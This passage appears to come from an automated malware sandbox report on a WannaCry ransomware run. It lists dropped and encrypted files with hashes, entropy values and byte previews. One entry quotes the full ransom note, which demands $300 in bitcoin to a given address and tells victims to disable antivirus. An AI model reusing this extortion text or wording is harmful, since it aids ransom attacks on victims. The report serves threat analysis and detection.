                                    Preview:....J.p....z.o.6.MI..6.....Z.(^`....6&#..!.D,.o.6...c.......}#.........\+...D3(..SV.P,4....(eM...*k;.WA.2..;+.].....,-...m.qk}L.E.r.f..j3./u........LU~.;..*..5.....9..G..........'.W..@.0....6."9..F)>9-.IgH.+..:......O...[..............w..42.cG.f$..........b0B.*...S....p&;...M.....$rZ........)gC[_'..x...&....}R...E....0..m...t....r..BE`..e....#.(..'D...%.T......!.%.}.i.!;.....n%.J..n./}....g.?..t.......z.0.*..Sp).j..G.7.....10...B..rB`....8J.9.....?..9...;.?.L....g...3..*.j...E.T...7$.A..I...u.7..~..#....e..Y.........C....M...........Dkk|.r.h.~...o..E`.....(K......+q_.4Pa...B..(...Jb81E..0../.W..kR../.U.....3P.f'..?..."..T9..,.0.!Y..d.j^....v...v%..}..\.."S..'....X!.k.....^@D]..t.....%...."..U.j.9._T.Q..68......9..~.j..6..3......t.|h..$..{......R.....A..2~....M..'.....Ww.....A=3.......G.Q.....dx.D.-....=)M.G.._.g.Y4.8#5....,.,...&../........G....@....eW.........*Uc....?.........S!.y.u......b..:.A..h.......i....<.....B6.l.]Z.>.3..M.

                                    C:\Users\user\Documents\GLTYDMDUST.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853868101230123
                                    Encrypted:false
                                    SSDEEP:24:bkVNlsHLE54tr6afAcsehDJFltCQ2FKZCBGIhRezOyg:bkVNOHL+SmNcsepJFTtZ6GISzOyg
                                    MD5:B8F921E1EBAABC83B1A3AD5E220CCF14
                                    SHA1:5D0F89537CCB7A849610842659F5D5F245B88DB2
                                    SHA-256:151BB2279782A38FCD2D6A78BB5B6ECF18C468B79C646EE6F12D848DDB2EE325
                                    SHA-512:2EF8271FB5E22AE9E7E3F6894BDE78691910D156B450386CDCBE4B8CD106F9285B5C898EA87E6FF847DD2266D1BE5745F278089A6347BC3AA3874F2D33114649
                                    Malicious:false
                                    Preview:WANACRY!....S.}..u<............B...@L......<..d!.Dv......b-.."..c..dc.....7...a4r.D'...b........u......).....C....!u/...`=...GQ.k..N...2.............R...7.+1.6...[-....>X....m)......MY.M..H..Z.....r.....@.M....z...*h.2.5.\y.;.Y.r.&....nb...v....X.t.............#.....M}...O........)....P.....K...N..LE.(M.F I..|[z.Op.f.D.......Y..$k.Ih.!g.O..(.3..G5<~....l.`..[..q..9.k.iZR#.=..Ih~L.~x.i.}j.\A..w..H.q.;.V.k.'........}.a.j7..I.,e._..[].a.!.Rz.3..7...0..QX.g&F#..U.1J.......~=...Vg...W.........d.....ld...N..G($?...vr.h-8..N....UT^w..(.(.w...L..&..........e...K4s.R....D.._.vba.].[.x.LH.._n$..'...%Z..[..l......#M.m......,........_...;pys.........I`p..SCj.............V.c..k.K...u.V........@'.hWe...M....A.r...f.o.*..7.......L.q.a.....t<...&.X.y....*...QL.Y..?....D.......w??...C.*.=6..!.O6t_.OO.[.B...Y.V..~o`.......01.K...7,..|c.FR.GYKE.@#.o.....$../Vp.W.o..:6c...).`.......s_......2....).]WA.v.....2._<...r`.....P...c.P.4.......,..J1ac.....b.S...

                                    C:\Users\user\Documents\GLTYDMDUST.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853868101230123
                                    Encrypted:false
                                    SSDEEP:24:bkVNlsHLE54tr6afAcsehDJFltCQ2FKZCBGIhRezOyg:bkVNOHL+SmNcsepJFTtZ6GISzOyg
                                    MD5:B8F921E1EBAABC83B1A3AD5E220CCF14
                                    SHA1:5D0F89537CCB7A849610842659F5D5F245B88DB2
                                    SHA-256:151BB2279782A38FCD2D6A78BB5B6ECF18C468B79C646EE6F12D848DDB2EE325
                                    SHA-512:2EF8271FB5E22AE9E7E3F6894BDE78691910D156B450386CDCBE4B8CD106F9285B5C898EA87E6FF847DD2266D1BE5745F278089A6347BC3AA3874F2D33114649
                                    Malicious:false
                                    Preview:WANACRY!....S.}..u<............B...@L......<..d!.Dv......b-.."..c..dc.....7...a4r.D'...b........u......).....C....!u/...`=...GQ.k..N...2.............R...7.+1.6...[-....>X....m)......MY.M..H..Z.....r.....@.M....z...*h.2.5.\y.;.Y.r.&....nb...v....X.t.............#.....M}...O........)....P.....K...N..LE.(M.F I..|[z.Op.f.D.......Y..$k.Ih.!g.O..(.3..G5<~....l.`..[..q..9.k.iZR#.=..Ih~L.~x.i.}j.\A..w..H.q.;.V.k.'........}.a.j7..I.,e._..[].a.!.Rz.3..7...0..QX.g&F#..U.1J.......~=...Vg...W.........d.....ld...N..G($?...vr.h-8..N....UT^w..(.(.w...L..&..........e...K4s.R....D.._.vba.].[.x.LH.._n$..'...%Z..[..l......#M.m......,........_...;pys.........I`p..SCj.............V.c..k.K...u.V........@'.hWe...M....A.r...f.o.*..7.......L.q.a.....t<...&.X.y....*...QL.Y..?....D.......w??...C.*.=6..!.O6t_.OO.[.B...Y.V..~o`.......01.K...7,..|c.FR.GYKE.@#.o.....$../Vp.W.o..:6c...).`.......s_......2....).]WA.v.....2._<...r`.....P...c.P.4.......,..J1ac.....b.S...

                                    C:\Users\user\Documents\GLTYDMDUST\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Documents\GLTYDMDUST\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\Documents\GLTYDMDUST\AQRFEVRTGL.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.79388347816233
                                    Encrypted:false
                                    SSDEEP:24:LQUvRfAOTZsTrV0kwB9+06eVx9pGhyYqBXZeZ3TS:D6OKTB3wu8VzghyYB1TS
                                    MD5:0F8EE276642943C06284B3E2A48886BF
                                    SHA1:4E561201541F2BB2BC38270C872664A85ECF3BC5
                                    SHA-256:43487669FB416EBDF77FDC86C9DEA5E63760854398086FD200AC142078617116
                                    SHA-512:B2B3F1F68ED1085A5D09D7C17DA274497D5E76A8F4747A5B9C9995EE989F62C2F2A1D4ABA04988FC1372A69B2F4192A97AB5E42CE324328FBA3E552600C77A44
                                    Malicious:false
                                    Preview:....v6....3...7.......+....\q...g }6.\.g...A..b..b.).kaH..2*....*.r.W.ak...T@^`.So.......S.9..A....i.....r.?.g..s.....k"g......I...Ay.b..hg..{\.`?..c...}..n..G.......|.....<.4.@.......k.....('.`zT..|.f...gQ.>o.f...E...6...i.....:9s.j}K.V..& f...a...r..)...)....9.l&t.=..hc.Q.....Sk.zR..|\..M... ..#.....,R.j.....?wl..W...Hq.J.5..Y`.L.kvX..0.c..V.V.A...~4...O../%..hN1.c.&..2c.w..A.+>..k..k.....U.W../.]..XX......[..J..5..iL......0.z.D...!ATN3..C]0%...-..`...{.M...J......;...\y...#.%`........x...&~..j.nx..)..1./.0.....h..i.4@....D.\./.Z...N!?...q@.......>.Na\h..6....w.b.../...;.'.0.X.....4T.q...~q...3.{........i....P.........sM....V.>.....o.;]9..B..N..*..-.F...~;.@g.\.'5H...CFmCU.?..........Y.....(g....~.;.....g........<*b.o."~-.U........,`{.q. -.....dM..S..x..r.i.}.B(..:..E[FY.VK5q.....\.6...p..jW.}HY.dL......m:..S.o.Q<..j......}c8....E.m.{:..:#.l..a.... ....u........:...z..B.j+.#QEQ4.p.Z&W..M.....q..K.......>j...W......p..P..T......c.F...#.....@..0

                                    C:\Users\user\Documents\GLTYDMDUST\AQRFEVRTGL.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.836949357413499
                                    Encrypted:false
                                    SSDEEP:24:bkB9UKIKI90B2ZC9pzrIwFxhzZFlndgSNFw8IcvhPcFHUL+OVUcUsGwb5mnlU:bk/UKnOZCbzEkZFldgSgPcZPy2lLCwbT
                                    MD5:81D93CD83CD941E68FA0ED4A20165D68
                                    SHA1:3FB02BF60925EAED3B269B35C6496640C93A6C21
                                    SHA-256:5A7E16415027B495C68423A23F17B85CEC3974F4AF552E97E444783868AFA51B
                                    SHA-512:67EF79E181014EA20876E4C066D33A5871BBF0424D133DC46D23540651BA21DCEB6C2B94C9493AE0C2A520D4A66970C4D1057A57B943A10F8FB40E53F27EAC65
                                    Malicious:false
                                    Preview:WANACRY!......A...c.!.Vs!..R.. ......../)..0'.PV.+.T.........<........wm@0...<...........W......>.......`$.u.fd.......a*.0L.*$..#L....o..n.rqz..m...e...0e...+.<9.....*9_:.#.*S.$R....S.0}.=.-.M.@u.T_...).D....5..$..u..g..$f...).LSb.2.....R^h.K.n..=.,.0.............!)O$.&iUs.o...,5....Q....`5.....W..c.Y0`.|..G..X.......?........44n....U.}...v..;.....}.I...._..>X.`..W(...6d..YXl..)g..U8....(w.........T...5VW..`...f.*.=b:.....e.../...T`?*v...k./....~?.X..._..f.\"..^.n...1_...hCD"..Z.I.....`G...Z....6....q...{j...b.9E._e*.R.c.......vi....CK..uu.z.}6....xY....)NF.<.....?(.`J/....e.F...v....Z..zf..I..voR#...T....f^.VN...vn..-X..<z...x.f4.Sq.`..S.S.....Z.B...r..'.g..o$.t...q..$.2....a5L=J....sg.l+.`.......d...l..r....z..}x.EI..8...z0O+..m......3dE....p....[d..:7.|.......x\.....h.._.3|......&...DZu .........m..=@.a..[S...I...3.O2R.d...`..L?Z...........bZDiC.a)i..vw...*m.P..a.DG.2....M+...l.....n....l...%...`.)m.............j.?S).5.c

                                    C:\Users\user\Documents\GLTYDMDUST\AQRFEVRTGL.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.836949357413499
                                    Encrypted:false
                                    SSDEEP:24:bkB9UKIKI90B2ZC9pzrIwFxhzZFlndgSNFw8IcvhPcFHUL+OVUcUsGwb5mnlU:bk/UKnOZCbzEkZFldgSgPcZPy2lLCwbT
                                    MD5:81D93CD83CD941E68FA0ED4A20165D68
                                    SHA1:3FB02BF60925EAED3B269B35C6496640C93A6C21
                                    SHA-256:5A7E16415027B495C68423A23F17B85CEC3974F4AF552E97E444783868AFA51B
                                    SHA-512:67EF79E181014EA20876E4C066D33A5871BBF0424D133DC46D23540651BA21DCEB6C2B94C9493AE0C2A520D4A66970C4D1057A57B943A10F8FB40E53F27EAC65
                                    Malicious:false
                                    Preview:WANACRY!......A...c.!.Vs!..R.. ......../)..0'.PV.+.T.........<........wm@0...<...........W......>.......`$.u.fd.......a*.0L.*$..#L....o..n.rqz..m...e...0e...+.<9.....*9_:.#.*S.$R....S.0}.=.-.M.@u.T_...).D....5..$..u..g..$f...).LSb.2.....R^h.K.n..=.,.0.............!)O$.&iUs.o...,5....Q....`5.....W..c.Y0`.|..G..X.......?........44n....U.}...v..;.....}.I...._..>X.`..W(...6d..YXl..)g..U8....(w.........T...5VW..`...f.*.=b:.....e.../...T`?*v...k./....~?.X..._..f.\"..^.n...1_...hCD"..Z.I.....`G...Z....6....q...{j...b.9E._e*.R.c.......vi....CK..uu.z.}6....xY....)NF.<.....?(.`J/....e.F...v....Z..zf..I..voR#...T....f^.VN...vn..-X..<z...x.f4.Sq.`..S.S.....Z.B...r..'.g..o$.t...q..$.2....a5L=J....sg.l+.`.......d...l..r....z..}x.EI..8...z0O+..m......3dE....p....[d..:7.|.......x\.....h.._.3|......&...DZu .........m..=@.a..[S...I...3.O2R.d...`..L?Z...........bZDiC.a)i..vw...*m.P..a.DG.2....M+...l.....n....l...%...`.)m.............j.?S).5.c

                                    C:\Users\user\Documents\GLTYDMDUST\GLTYDMDUST.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.797263527893673
                                    Encrypted:false
                                    SSDEEP:24:nfar33ZdeFacRWTYzw4YRSe07WMlIEbB/aoyX4Pw1o20HaqD:CjvoRWTfmffbBioom1
                                    MD5:CD4C45EBA2B4FE4262C99490179A73DC
                                    SHA1:723337DE0C338A3D6E24C3A80E62297CFCA5E2AB
                                    SHA-256:71836D6FC1E55090795F216262A7105C926020E645ABD4AB016FEB1C19689428
                                    SHA-512:2840561E221B3C0ACE307835E2FA889154E9BC7EA003214D8B2F1EB4B14DF1B53E81580B61DE1380F082BFF960F313CA4ED4126BB0ACDBA598687A959BF2B429
                                    Malicious:false
                                    Preview:\p.....q!8...tI..........a..z ..$.|,.!.',{.8.7..`,.......:o`e.{c...x..... ^...=t...k..R*..#T|t.Yb.v.KFV.Y...'-...a@....0c...3..`R..n..#...'~.W&.,..{.9QSA..G...9.IT!h'.Y...$J*'...TE.q....x.C|..D....c..'......c,.....`x.....f..N...o..*Y.5}i..X.._-.Q[.D.f&.@4....a.r.M.~...........:u.]N.I.WTC....|@.-Z~~.s...Vfx.y.?o.I.;.=..r.25^P ..;~.g&V...Y.tx....\.}H........f.,a.K....R.t.+-.>..P..Q.....9.vO..;A..e.TZ%._>q,..A.N~...1.D..y.u..ZQ."7.U..y2.+.._..*x..<:.@..j.._`....".`Wq.:.....N.V......wEYm.@..2.o.A..S...&......j!.Y!.:...&.#...$...E.d.Zc....s.U-..5...SP..'yww.D..o..Sf...A..G........o.....S..H.m..O.....'.<.l. ....AL..P...^.\... T......P..#..?..U+..L...\k...3H....P..f..B.U.I.]hs.}....l...8.h#;..b../....f.xt......s.7.._5...zq...YEK...."z..z.'...@...........;..W..}ix...^...{....p....,(R.j.=....r.0...Zx..{.....T..r.*0...;...7g.f..i.. G.BW*j.1..Q.)`.v5..B*4.T7..Bf|H.U3.1%.B.:...s...r...f.x..{e.W.P%O.....!Y.A.?y.....E...........*./...e.+.|;.)u......vg..W.B.P

                                    C:\Users\user\Documents\GLTYDMDUST\GLTYDMDUST.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.875688259800494
                                    Encrypted:false
                                    SSDEEP:24:bk9TSpiOQssl5xBX3Tw5IBv4YRcZx4LgcHqoJaGn5mXTDHR7aGLQubZkMKn:bk0piAsDxNwuBv4CVqoj5MDxdkx
                                    MD5:7C2FD7EC6D9901239EF639022427AA1A
                                    SHA1:39551EC321DE07A4089CEE3EE02D7D6CE37FC7D0
                                    SHA-256:CA2DE2460BD1D595289415FA38C0AE804155C43D48462D2E6DAE327A54331779
                                    SHA-512:52958AE9CD19F40FF3A09CDECDF14BCE616B8B66BB1B1AB1C324742382728278F039062FD3F6742ED0FAA490660B56AE322DB6418C178D8AF4DBBFE58E5189F8
                                    Malicious:false
                                    Preview:WANACRY!....1+V...o.....z.z...M/...."..@P"..GY....t.m..eX...$E.E1.>..`.j.$.....l...'.N..s..}.W.....@X|/M-...]u?a.\.;....e[y......#.#X.5.b'...Y.Zw.W....9..;.^...O....w.I.=.i3.....*.M...DR......:....T.Q..A.....k...B..>.gq.f..V.bN..x.K...%.TC4.Y@..(ay...............G..1.>..G..U.Y.fd. .AF.T...k..e<.KwC.!.H.>.3S...t..y..^z.Q.l.bDQ...{^..r.36:Bor........&.....6h..v/.......!.}...eS...{.\.2..{y.JkH..b..bK..I..nL.....4.8Q.....z.S..y_L^.).].....N....M(`.....L.*......8..P.....C....j.z_8...;\O...5.6.....MV..q.i.4.....>?^G......P;5..M....=$.]....w..m.jrl...O.w...:4.h...9......$.U.....h..44.....W...?.N.....u.i..nq0.F..D.>.........3...HDzhJ;..?V.0.G..>NMC.j.........P....sG..pG..._.......c.4...l.l..9.U...O..@OR....U..4.m~x.F.1...w8..G~.N7(.Z.v....V...;...K...&.3.V...%.n.-..WB.p.*a.....D..O....gp^v.:C.!...X......F.*.._;....^..|-n!YB........../s..5..Re.s(*.........w..d..^. 1,)-g.'..(.3.:m,..Pf?.f.7...MZ#.....h.X.,g...(..:.l.r....b.0.cbT..~.@..K..%

                                    C:\Users\user\Documents\GLTYDMDUST\GLTYDMDUST.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.875688259800494
                                    Encrypted:false
                                    SSDEEP:24:bk9TSpiOQssl5xBX3Tw5IBv4YRcZx4LgcHqoJaGn5mXTDHR7aGLQubZkMKn:bk0piAsDxNwuBv4CVqoj5MDxdkx
                                    MD5:7C2FD7EC6D9901239EF639022427AA1A
                                    SHA1:39551EC321DE07A4089CEE3EE02D7D6CE37FC7D0
                                    SHA-256:CA2DE2460BD1D595289415FA38C0AE804155C43D48462D2E6DAE327A54331779
                                    SHA-512:52958AE9CD19F40FF3A09CDECDF14BCE616B8B66BB1B1AB1C324742382728278F039062FD3F6742ED0FAA490660B56AE322DB6418C178D8AF4DBBFE58E5189F8
                                    Malicious:false
                                    Preview:WANACRY!....1+V...o.....z.z...M/...."..@P"..GY....t.m..eX...$E.E1.>..`.j.$.....l...'.N..s..}.W.....@X|/M-...]u?a.\.;....e[y......#.#X.5.b'...Y.Zw.W....9..;.^...O....w.I.=.i3.....*.M...DR......:....T.Q..A.....k...B..>.gq.f..V.bN..x.K...%.TC4.Y@..(ay...............G..1.>..G..U.Y.fd. .AF.T...k..e<.KwC.!.H.>.3S...t..y..^z.Q.l.bDQ...{^..r.36:Bor........&.....6h..v/.......!.}...eS...{.\.2..{y.JkH..b..bK..I..nL.....4.8Q.....z.S..y_L^.).].....N....M(`.....L.*......8..P.....C....j.z_8...;\O...5.6.....MV..q.i.4.....>?^G......P;5..M....=$.]....w..m.jrl...O.w...:4.h...9......$.U.....h..44.....W...?.N.....u.i..nq0.F..D.>.........3...HDzhJ;..?V.0.G..>NMC.j.........P....sG..pG..._.......c.4...l.l..9.U...O..@OR....U..4.m~x.F.1...w8..G~.N7(.Z.v....V...;...K...&.3.V...%.n.-..WB.p.*a.....D..O....gp^v.:C.!...X......F.*.._;....^..|-n!YB........../s..5..Re.s(*.........w..d..^. 1,)-g.'..(.3.:m,..Pf?.f.7...MZ#.....h.X.,g...(..:.l.r....b.0.cbT..~.@..K..%

                                    C:\Users\user\Documents\GLTYDMDUST\HMPPSXQPQV.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.854549435239728
                                    Encrypted:false
                                    SSDEEP:24:QOW8gCe3C+NjLtDbAe/UrORjTwcdW7c8cV4QQ3G4NkpcVr:Q1VHZPPA4JNAcn4z3+cVr
                                    MD5:5DB99F501EF27D33D6CC885A59B3A00A
                                    SHA1:9487DCB1CBB011933CA59193EDBA9854F7816C18
                                    SHA-256:3988CF8EF9F86B48E398FB06CBC530E710676292F3F061EBBF29154EAA6D92F5
                                    SHA-512:7CB913CF92B33B30C8B19EB0AE47E1934D58F77152FF1D8597345984B096C1019199AAD4A47CF51273C17850C275132BE2173DEF505377E4133B78695D4D6359
                                    Malicious:false
                                    Preview:{%..15.k.>G....<.o'.)'..M..<:8..X..].....+..Z.d.Y.U..x[...".8..q...jvl....)ZL#~c.....h....n.(T.e..J...B..s.n.Z..1M.;......<..Q.I..C.....O'.H,..U,K`d.....l.Y1..\.g&.S..@....a{..+..0.n:+...v.|a.?..5...s.!........{..<m.......1.."....XF..=..r...Nf..y^.GH.*:...M..`.........#...v>..d.3P|4...k_.....<.h...=.c..8.=...u....kw.h~i.....~&...^PV.t@-.v\F^.x`..oU4.....oV..\y..B....>X..E.Jz..t....f%..iZ.H...L....^....Qg%..8.d...~..|.W..3Gh..U..P....).vBJ......S....aL.A.6.}m...v.l.w..F(.....~f..i..z...w..a.D..2......0.[...S.\...*N..:.2.`*u.b^.|..F...:7|ll./.. ..xr~.....k#a..8...p.w;.h.q.....w..K]..i.}. t...'..p;.b.v....h>..u.....S.<.....U..F..w.w.. tG........o..$......_.m..7]$........g.2.}.P...>...43A01.E.69.~...n.:x.c+......V~.....e....%....,bt.......ca.g........'m.+. ....>;.8....d....?@.5./F.T.He..F.....-.'d.%Winq.[]..!.D..$,T.EI.UG~...8.p<.'.5?.v6...g..S..3BdR...j.8..T.....b..:.+L.KY.B.P.pn.R6....`...uV'3..K.7....u...)... .....g.R.d7

                                    C:\Users\user\Documents\GLTYDMDUST\HMPPSXQPQV.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.871000725348926
                                    Encrypted:false
                                    SSDEEP:24:bkyDTSuRr9+rml129ALXn4h/QHETyX+DisGojI68V5SYx9Fbz8vc2mX:bkKhrl12iLopQkTyX+iUm3NEna
                                    MD5:3E2C09EDB9B0389ABC80523F64B35B1F
                                    SHA1:6E250C8E0FC600E5580345E689F2FBD96C6F05B3
                                    SHA-256:BF7D0A56C48488C303C7D1F19F23854D51F2FB452FC6920479ABC13C59D1EB81
                                    SHA-512:8FD59445D32B7DAB7FBFF83F9205CAD41F2A07F4DD6190815F6EBD6A577F735DBBF92C5C1A3AAF211A5684FE2FC9C967E9EB20D80353ADAC47E6CE2D9AE2CC9D
                                    Malicious:false
                                    Preview:WANACRY!.....AX..4.S)e....d8q.~Ty@{.9j.L_TzP..r...oEj....$.............R.;.....i.....;e.bX=.Z.C.V..C.D..Kgj ..4..u5.#..l.>...&Xb..... ....TM...._2].$...+9..Y.H.#.7.P....}P...Z.....10..B.w}.&.?"..............J........6.*.4H.y.#VE".c.#.C.P+......@...@..............H...WG>.....r.|....r.y....N.B^....g.3..I.......v..XI....:.IF.....u_H.".c%..~}\/[..c...........w.J.w.7..):...........g.."..n.B....T\....=n6....~.i..TV...}.....*........$.'..{...g..]..@.?.;'.....}s{..L..Ao....!.<...W._x.^...V.O.....~.]...-..+.[%..(%{....g...0...=.`V......*.v.[.Uy.^bt.a.GC..'..Zr..1.<=&C..].=.W......E..v.../k.=.cZ.....a..\..........S%..aS..W.n.}..;.m.R5!.=\$...1R.,...A.P...}5......H>...?N.M{.l..3T@b........=LCyQ|!.........S)..E>"......]k...*?.3b....U....S\E:!..92...]..+...D.8......kr...n.....j...w.f..<P..l..1.^..u.i2!S&]L.....(...^..32.w5t..k.../...C...A.U...1..-b.N4.u.e.&e.Z..3........b....q.3.D..HU..-.I/...AN.W.A.T...W.$.....$..V^.....f.hq...PhKDK.$.!G.

                                    C:\Users\user\Documents\GLTYDMDUST\HMPPSXQPQV.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.871000725348926
                                    Encrypted:false
                                    SSDEEP:24:bkyDTSuRr9+rml129ALXn4h/QHETyX+DisGojI68V5SYx9Fbz8vc2mX:bkKhrl12iLopQkTyX+iUm3NEna
                                    MD5:3E2C09EDB9B0389ABC80523F64B35B1F
                                    SHA1:6E250C8E0FC600E5580345E689F2FBD96C6F05B3
                                    SHA-256:BF7D0A56C48488C303C7D1F19F23854D51F2FB452FC6920479ABC13C59D1EB81
                                    SHA-512:8FD59445D32B7DAB7FBFF83F9205CAD41F2A07F4DD6190815F6EBD6A577F735DBBF92C5C1A3AAF211A5684FE2FC9C967E9EB20D80353ADAC47E6CE2D9AE2CC9D
                                    Malicious:false
                                    Preview:WANACRY!.....AX..4.S)e....d8q.~Ty@{.9j.L_TzP..r...oEj....$.............R.;.....i.....;e.bX=.Z.C.V..C.D..Kgj ..4..u5.#..l.>...&Xb..... ....TM...._2].$...+9..Y.H.#.7.P....}P...Z.....10..B.w}.&.?"..............J........6.*.4H.y.#VE".c.#.C.P+......@...@..............H...WG>.....r.|....r.y....N.B^....g.3..I.......v..XI....:.IF.....u_H.".c%..~}\/[..c...........w.J.w.7..):...........g.."..n.B....T\....=n6....~.i..TV...}.....*........$.'..{...g..]..@.?.;'.....}s{..L..Ao....!.<...W._x.^...V.O.....~.]...-..+.[%..(%{....g...0...=.`V......*.v.[.Uy.^bt.a.GC..'..Zr..1.<=&C..].=.W......E..v.../k.=.cZ.....a..\..........S%..aS..W.n.}..;.m.R5!.=\$...1R.,...A.P...}5......H>...?N.M{.l..3T@b........=LCyQ|!.........S)..E>"......]k...*?.3b....U....S\E:!..92...]..+...D.8......kr...n.....j...w.f..<P..l..1.^..u.i2!S&]L.....(...^..32.w5t..k.../...C...A.U...1..-b.N4.u.e.&e.Z..3........b....q.3.D..HU..-.I/...AN.W.A.T...W.$.....$..V^.....f.hq...PhKDK.$.!G.

                                    C:\Users\user\Documents\GLTYDMDUST\LFOPODGVOH.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.806914701599286
                                    Encrypted:false
                                    SSDEEP:24:xPv9LgxdcTYU/Q9v57SVoH6/etkyYnreQ+gJhq:xP15KFSVoaUkyKqsC
                                    MD5:9CA29E096ABF5F6EF61B48D96CE523EE
                                    SHA1:B94CF2BA5570F0586C2678EC6B92DBA08A06ED51
                                    SHA-256:8BE91032ED98315379862BED462843E787B3099712F014D8E6559B053D2976BE
                                    SHA-512:4D5BCECFD0AA2FA17AA3F474AE7CCC7B388EF3210850CB1BC3A3659F27F87CF9AFDB69AF5002469AD714A3E16A528FFF602A1F9E72095684905E362746045191
